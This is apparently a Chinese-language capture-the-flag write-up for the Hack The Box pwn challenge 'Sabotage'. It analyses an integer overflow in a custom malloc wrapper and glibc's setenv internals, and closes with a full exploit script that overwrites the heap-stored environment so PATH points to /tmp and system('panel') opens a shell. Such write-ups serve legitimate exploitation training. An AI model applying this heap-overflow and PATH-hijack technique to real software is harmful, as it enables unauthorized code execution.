selph
selph
Published on 2024-12-26 / 11 Visits
0
0

[HTB] Sabotage

前言

本题目触发了一个知识盲区,setenv函数的细节,会让环境变量指针数组进入堆中,如果存在堆中漏洞,可能可以篡改环境变量

题目情况

Draeger ordered Thanatos, destroyer under the Golden Fang flag, to annihilate our defence base with a super lazer beam capable of destroying whole planets. Bonnie and his crew go for a sabotage-suicide mission in order to stop Thanatos before it's too late.

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./glibc/'
    Stripped:   No

libc 是 2.35 版本的

逆向分析

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setup();
  welcome();
  while ( 1 )                                   // 申请0x18内存并释放
  {
    action_menu();
    switch ( read_option() )
    {
      case 1LL:
        enter_command_control();                // 可以申请内存输入内容
        break;
      case 2LL:
        quantum_destabilizer(argc, argv);       // 可以打开文件,写入内容
        break;
      case 3LL:
        combat_enemy_destroyer(argc, argv);     // 调用exit
      case 4LL:
        intercept_c2_communication(argc, argv);
        break;
      case 5LL:
        puts("[\x1B[31m!\x1B[39m] Aborting the sabotage...");
        exit(0);
      default:
        continue;
    }
  }
}

这里的read_option和往常不一样,存在内存分配释放行为:

__int64 read_option()
{
  char *s; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+8h] [rbp-8h]

  s = (char *)Malloc(16LL);
  printf("> ");
  fgets(s, 16, stdin);
  v2 = strtol(s, 0LL, 0);
  Free(s);
  return v2;
}

这里的Malloc和Free都是自定义的:

_QWORD *__fastcall Malloc(__int64 size)
{
  _QWORD *ptr; // [rsp+18h] [rbp-8h]

  ptr = malloc(size + 8);
  if ( !ptr )
    return 0LL;
  *ptr = size;
  return ptr + 1;
}

void __fastcall Free(__int64 a1)
{
  free((void *)(a1 - 8));
}

然后是选项1:设置环境变量,自己输入环境变量的大小和值

unsigned __int64 enter_command_control()
{
  __int64 v1; // [rsp+8h] [rbp-18h] BYREF
  char *value; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Access to the control panel of the enemy ship is protected through a privileged ACCESS code of unpredictable size");
  if ( !getenv("ACCESS") )
    setenv("ACCESS", "DENIED", 1);              // 设置环境变量
  printf("[\x1B[34m*\x1B[39m] ACCESS code length: ");
  __isoc99_scanf("%lu", &v1);
  value = (char *)Malloc(v1);                   // 整数溢出
                                                // 只要能申请出0x20的chunk,就能覆盖环境变量指针
  if ( !value )
  {
    puts("[\x1B[31m!\x1B[39m] Connection is lost, quantum noise is disrupting the transmission.\n");
    exit(-1);
  }
  printf("[\x1B[34m*\x1B[39m] ACCESS code: ");
  readBuffer(value, v1);                        // 读取内容到缓冲区
                                                // 可能溢出
  setenv("ACCESS", value, 1);                   // 设置环境变量,超级大
  system("panel");                              // 执行system函数
  return __readfsqword(0x28u) ^ v3;
}

选项2:获取环境变量,获取失败就设置一个,然后写入文件到/tmp​目录下

unsigned __int64 quantum_destabilizer()
{
  size_t v0; // rax
  int fd; // [rsp+4h] [rbp-6Ch]
  char *string; // [rsp+8h] [rbp-68h]
  char *v4; // [rsp+10h] [rbp-60h]
  char s[8]; // [rsp+18h] [rbp-58h] BYREF
  char dest[32]; // [rsp+20h] [rbp-50h] BYREF
  char buf[40]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v8; // [rsp+68h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  if ( !getenv("ACCESS") )
  {
    string = (char *)Malloc(24LL);              // 申请内存,0x31 chunk
    strcpy(string, "ACCESS=DENIED");
    putenv(string);                             // 申请内存保存environ变量的值,修改environ指针
  }
  printf("[\x1B[34m*\x1B[39m] Quantum destabilizer mount point: ");
  fgets(s, 8, stdin);                           // 输入8字节,不能有.和/
  if ( strchr(s, '.') || strchr(s, '/') )
  {
    puts("[\x1B[31m!\x1B[39m] Thanatos spotted the intrusion, you are shot with a deadly lazer beam.");
    exit(-1);
  }
  v4 = strchr(s, '\n');
  if ( v4 )
    *v4 = 0;
  memset(dest, 0, sizeof(dest));
  strcpy(dest, "/tmp/");
  strcat(dest, s);                              // /tmp/{s}
  fd = open(dest, 66, 511LL);                   // 创建打开输入的文件
  if ( fd == -1 )
  {
    puts("[\x1B[31m!\x1B[39m] Quantum destabilizer failed to penetrate the shield.");
    exit(-1);
  }
  printf("[\x1B[34m*\x1B[39m] Quantum destablizer is ready to pass a small armed unit through the enemy's shield: ");
  fgets(buf, 32, stdin);                        // 输入32字节
  v0 = strlen(buf);
  write(fd, buf, v0);                           // 写入文件
  close(fd);
  puts("[\x1B[32m+\x1B[39m] Quantum destabilizer successfully destablized Thanatos shield.");
  penetrated_the_shield = 1;                    // 设置全局变量
  return __readfsqword(0x28u) ^ v8;
}

其他选项没啥用

利用分析

整数溢出

程序的缺陷在于这里的选项1,可以自定义大小申请内存,而Malloc:

_QWORD *__fastcall Malloc(__int64 size)
{
  _QWORD *ptr; // [rsp+18h] [rbp-8h]

  ptr = malloc(size + 8);
  if ( !ptr )
    return 0LL;
  *ptr = size;
  return ptr + 1;
}

这里申请的是size+8,size是64位整数,这里就存在整数溢出的问题

从而可以在选项1里,完成堆溢出写的操作

setenv 分析

这个程序的要点在于setenv函数的作用,该函数会调用__add_to_environ函数:

int __add_to_environ(const char *name, const char *value, const char *combined,
					 int replace)
{
	char **ep;
	size_t size;
...

	/* We have to get the pointer now that we have the lock and not earlier
	   since another thread might have created a new environment.  */
	ep = __environ;	// 获取环境变量指针

	size = 0;
	if (ep != NULL)	// 存在环境变量,查看是否有同名的
	{
		for (; *ep != NULL; ++ep)
			if (!strncmp(*ep, name, namelen) && (*ep)[namelen] == '=')
				break;
			else
				++size;
	}

...
	if (*ep == NULL || replace)
	{
		char *np;

...
					np = malloc(varlen);
...
#ifdef USE_TSEARCH
					memcpy(np, new_value, varlen);
#else
					memcpy(np, name, namelen);
					np[namelen] = '=';
					memcpy(&np[namelen + 1], value, vallen);
#endif
				}
				/* And remember the value.  */
				STORE_VALUE(np);
			}
...

		*ep = np;
	}

	UNLOCK;

	return 0;
}

该函数会申请内存,将原本environ变量的值复制过来,然后把新的环境变量指针添加进去,然后设置environ变量指针指向新的地点

利用思路

先使用选项2写入/bin/sh​到/tmp/panel​

由于输入选项函数会申请内存然后释放,此时的内存布局是:

0x55fbb08b5290  0x0000000000000000      0x0000000000000021      ........!.......
0x55fbb08b52a0  0x000000055fbb08b5      0xa8955881f1490543      ..._....C.I..X..         <-- tcachebins[0x20][0/1]

0x55fbb08b52b0  0x0000000000000000      0x0000000000000031      ........1.......
0x55fbb08b52c0  0x0000000000000018      0x443d535345434341      ........ACCESS=D
0x55fbb08b52d0  0x0000004445494e45      0x0000000000000000      ENIED...........
0x55fbb08b52e0  0x0000000000000000      0x00000000000001a1      ................
0x55fbb08b52f0  0x00007ffce76b9f76      0x00007ffce76b9f90      v.k.......k.....
...
0x55fbb08b5470  0x000055fbb08b52c8      0x0000000000000000      .R...U..........
0x55fbb08b5480  0x0000000000000000      0x0000000000020b81      ................         <-- Top chunk

此时environ变量指向0x55fbb08b52f0,这里最后一个指针指向前面的chunk:0x000055fbb08b52c8

只要能申请0x20 chunk内存的同时完成溢出,就能修改该指针的值,从而篡改环境变量

刚好配合Malloc的整数溢出,能够完成这件事

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# write file to /tmp/panel
sla(b"> ",b"2")
sla(b": ",b"panel")
sla(b": ",b"/bin/sh\x00")

# int overflow
sla(b"> ",b"1")
sla(b": ",str(0xffffffffffffffff).encode())
sla(b": ",cyclic(32)+ b"PATH=/tmp\x00")

ia()

总结

整数溢出,setenv函数的细节

参考资料


Comment